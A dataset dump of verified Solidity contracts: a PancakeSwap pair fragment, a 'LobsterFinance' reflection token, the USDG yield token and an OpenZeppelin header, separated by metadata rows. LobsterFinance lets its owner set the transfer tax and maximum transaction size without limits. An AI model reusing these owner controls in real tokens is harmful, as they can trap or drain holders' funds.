balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Burn(msg.sender, amount0, amount1, to);
}
// this low-level function should be called from a contract which performs important safety checks
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock {
require(amount0Out > 0 || amount1Out > 0, 'Pancake: INSUFFICIENT_OUTPUT_AMOUNT');
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
require(amount0Out < _reserve0 && amount1Out < _reserve1, 'Pancake: INSUFFICIENT_LIQUIDITY');
uint balance0;
uint balance1;
{ // scope for _token{0,1}, avoids stack too deep errors
address _token0 = token0;
address _token1 = token1;
require(to != _token0 && to != _token1, 'Pancake: INVALID_TO');
if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
if (data.length > 0) IPancakeCallee(to).pancakeCall(msg.sender, amount0Out, amount1Out, data);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
}
uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
require(amount0In > 0 || amount1In > 0, 'Pancake: INSUFFICIENT_INPUT_AMOUNT');
{ // scope for reserve{0,1}Adjusted, avoids stack too deep errors
uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3));
uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3));
require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'Pancake: K');
}
_update(balance0, balance1, _reserve0, _reserve1);
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
}
// force balances to match reserves
function skim(address to) external lock {
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
_safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0));
_safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1));
}
// force reserves to match balances
function sync() external lock {
_update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1);
}
}
| 227,483 | 13,622 |
ccdd77dbcff5edae7357396d08a0736b057048ac27a892aac4fc4dfbf34468b2
| 20,716 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/d3/D3cff383Fce555dD0E0E2AdBc44317d93Dce5388_LobsterFinance.sol
| 5,184 | 18,704 |
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract LobsterFinance is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
mapping (address => bool) public isAllowed;
address[] private _excluded;
uint8 private constant _decimals = 18;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 20000 ether;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private constant _name = 'Lobster Finance';
string private constant _symbol = 'LOBSTER';
uint256 private _taxFee = 500;
uint256 private _burnFee = 0;
uint public max_tx_size = 20000 ether;
bool public isPaused = false;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
isAllowed[_msgSender()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function toggleAllowed(address addr) external onlyOwner {
isAllowed[addr] = !isAllowed[addr];
}
function unpause() external returns (bool){
require(msg.sender == owner() || isAllowed[msg.sender], "Unauth unpause call");
isPaused = false;
return true;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x0f9A05FFA1AE08B43bB982cFd5EaF85ce4F0a978, 'We can not exclude router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!isPaused || isAllowed[sender],"Unauthorized sender,wait until unpaused");
if(sender != owner() && recipient != owner())
require(amount <= max_tx_size, "Transfer amount exceeds 1% of Total Supply.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(100)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(100)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() public view returns(uint256) {
return _taxFee;
}
function _getBurnFee() public view returns(uint256) {
return _burnFee;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function _setBurnFee(uint256 burnFee) external onlyOwner() {
_burnFee = burnFee;
}
function setMaxTxAmount(uint newMax) external onlyOwner {
max_tx_size = newMax;
}
}
| 326,877 | 13,623 |
2bf37710d121b6a34a680c748bb175379688dd855387d970657ed8ec288e567d
| 29,555 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/e6/e61a61B9Ce1Bd12e17a53AeeeE1005Ef6C1b2E80_USDG.sol
| 4,334 | 17,668 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
interface IUSDG {
function addVault(address _vault) external;
function removeVault(address _vault) external;
function mint(address _account, uint256 _amount) external;
function burn(address _account, uint256 _amount) external;
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value,
"SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IYieldTracker {
function claim(address _account, address _receiver) external returns (uint256);
function updateRewards(address _account) external;
function getTokensPerInterval() external view returns (uint256);
function claimable(address _account) external view returns (uint256);
}
interface IYieldToken {
function totalStaked() external view returns (uint256);
function stakedBalance(address _account) external view returns (uint256);
function removeAdmin(address _account) external;
}
contract YieldToken is IERC20, IYieldToken {
using SafeMath for uint256;
using SafeERC20 for IERC20;
string public name;
string public symbol;
uint8 public constant decimals = 18;
uint256 public override totalSupply;
uint256 public nonStakingSupply;
address public gov;
mapping(address => uint256) public balances;
mapping(address => mapping(address => uint256)) public allowances;
address[] public yieldTrackers;
mapping(address => bool) public nonStakingAccounts;
mapping(address => bool) public admins;
bool public inWhitelistMode;
mapping(address => bool) public whitelistedHandlers;
modifier onlyGov() {
require(msg.sender == gov, "YieldToken: forbidden");
_;
}
modifier onlyAdmin() {
require(admins[msg.sender], "YieldToken: forbidden");
_;
}
constructor(string memory _name,
string memory _symbol,
uint256 _initialSupply) public {
name = _name;
symbol = _symbol;
gov = msg.sender;
admins[msg.sender] = true;
_mint(msg.sender, _initialSupply);
}
function setGov(address _gov) external onlyGov {
gov = _gov;
}
function setInfo(string memory _name, string memory _symbol) external onlyGov {
name = _name;
symbol = _symbol;
}
function setYieldTrackers(address[] memory _yieldTrackers) external onlyGov {
yieldTrackers = _yieldTrackers;
}
function addAdmin(address _account) external onlyGov {
admins[_account] = true;
}
function removeAdmin(address _account) external override onlyGov {
admins[_account] = false;
}
// to help users who accidentally send their tokens to this contract
function withdrawToken(address _token,
address _account,
uint256 _amount) external onlyGov {
IERC20(_token).safeTransfer(_account, _amount);
}
function setInWhitelistMode(bool _inWhitelistMode) external onlyGov {
inWhitelistMode = _inWhitelistMode;
}
function setWhitelistedHandler(address _handler, bool _isWhitelisted) external onlyGov {
whitelistedHandlers[_handler] = _isWhitelisted;
}
function addNonStakingAccount(address _account) external onlyAdmin {
require(!nonStakingAccounts[_account], "YieldToken: _account already marked");
_updateRewards(_account);
nonStakingAccounts[_account] = true;
nonStakingSupply = nonStakingSupply.add(balances[_account]);
}
function removeNonStakingAccount(address _account) external onlyAdmin {
require(nonStakingAccounts[_account], "YieldToken: _account not marked");
_updateRewards(_account);
nonStakingAccounts[_account] = false;
nonStakingSupply = nonStakingSupply.sub(balances[_account]);
}
function recoverClaim(address _account, address _receiver) external onlyAdmin {
for (uint256 i = 0; i < yieldTrackers.length; i++) {
address yieldTracker = yieldTrackers[i];
IYieldTracker(yieldTracker).claim(_account, _receiver);
}
}
function claim(address _receiver) external {
for (uint256 i = 0; i < yieldTrackers.length; i++) {
address yieldTracker = yieldTrackers[i];
IYieldTracker(yieldTracker).claim(msg.sender, _receiver);
}
}
function totalStaked() external view override returns (uint256) {
return totalSupply.sub(nonStakingSupply);
}
function balanceOf(address _account) external view override returns (uint256) {
return balances[_account];
}
function stakedBalance(address _account) external view override returns (uint256) {
if (nonStakingAccounts[_account]) {
return 0;
}
return balances[_account];
}
function transfer(address _recipient, uint256 _amount) external override returns (bool) {
_transfer(msg.sender, _recipient, _amount);
return true;
}
function allowance(address _owner, address _spender) external view override returns (uint256) {
return allowances[_owner][_spender];
}
function approve(address _spender, uint256 _amount) external override returns (bool) {
_approve(msg.sender, _spender, _amount);
return true;
}
function transferFrom(address _sender,
address _recipient,
uint256 _amount) external override returns (bool) {
uint256 nextAllowance = allowances[_sender][msg.sender].sub(_amount,
"YieldToken: transfer amount exceeds allowance");
_approve(_sender, msg.sender, nextAllowance);
_transfer(_sender, _recipient, _amount);
return true;
}
function _mint(address _account, uint256 _amount) internal {
require(_account != address(0), "YieldToken: mint to the zero address");
_updateRewards(_account);
totalSupply = totalSupply.add(_amount);
balances[_account] = balances[_account].add(_amount);
if (nonStakingAccounts[_account]) {
nonStakingSupply = nonStakingSupply.add(_amount);
}
emit Transfer(address(0), _account, _amount);
}
function _burn(address _account, uint256 _amount) internal {
require(_account != address(0), "YieldToken: burn from the zero address");
_updateRewards(_account);
balances[_account] = balances[_account].sub(_amount, "YieldToken: burn amount exceeds balance");
totalSupply = totalSupply.sub(_amount);
if (nonStakingAccounts[_account]) {
nonStakingSupply = nonStakingSupply.sub(_amount);
}
emit Transfer(_account, address(0), _amount);
}
function _transfer(address _sender,
address _recipient,
uint256 _amount) private {
require(_sender != address(0), "YieldToken: transfer from the zero address");
require(_recipient != address(0), "YieldToken: transfer to the zero address");
if (inWhitelistMode) {
require(whitelistedHandlers[msg.sender], "YieldToken: msg.sender not whitelisted");
}
_updateRewards(_sender);
_updateRewards(_recipient);
balances[_sender] = balances[_sender].sub(_amount, "YieldToken: transfer amount exceeds balance");
balances[_recipient] = balances[_recipient].add(_amount);
if (nonStakingAccounts[_sender]) {
nonStakingSupply = nonStakingSupply.sub(_amount);
}
if (nonStakingAccounts[_recipient]) {
nonStakingSupply = nonStakingSupply.add(_amount);
}
emit Transfer(_sender, _recipient, _amount);
}
function _approve(address _owner,
address _spender,
uint256 _amount) private {
require(_owner != address(0), "YieldToken: approve from the zero address");
require(_spender != address(0), "YieldToken: approve to the zero address");
allowances[_owner][_spender] = _amount;
emit Approval(_owner, _spender, _amount);
}
function _updateRewards(address _account) private {
for (uint256 i = 0; i < yieldTrackers.length; i++) {
address yieldTracker = yieldTrackers[i];
IYieldTracker(yieldTracker).updateRewards(_account);
}
}
}
contract USDG is YieldToken, IUSDG {
mapping(address => bool) public vaults;
modifier onlyVault() {
require(vaults[msg.sender], "USDG: forbidden");
_;
}
constructor(address _vault) public YieldToken("USD Gambit", "USDG", 0) {
vaults[_vault] = true;
}
function addVault(address _vault) external override onlyGov {
vaults[_vault] = true;
}
function removeVault(address _vault) external override onlyGov {
vaults[_vault] = false;
}
function mint(address _account, uint256 _amount) external override onlyVault {
_mint(_account, _amount);
}
function burn(address _account, uint256 _amount) external override onlyVault {
_burn(_account, _amount);
}
}
| 36,949 | 13,624 |
e7ec57d70775226763758e58b840f617102aa615a1d4f57e090c9e9a1cef3df1
| 38,258 |
.sol
|
Solidity
| false |
468407125
|
tintinweb/smart-contract-sanctuary-optimism
|
5f86f1320e8b5cdf11039be240475eff1303ed67
|
contracts/mainnet/06/06ae145e5c1508a98f9844f3189d60348b9b0137_isoUSDToken.sol
| 4,357 | 17,033 |
// File @openzeppelin/contracts/utils/[emailprotected]
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File @openzeppelin/contracts/access/[emailprotected]
// OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol)
interface IAccessControl {
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
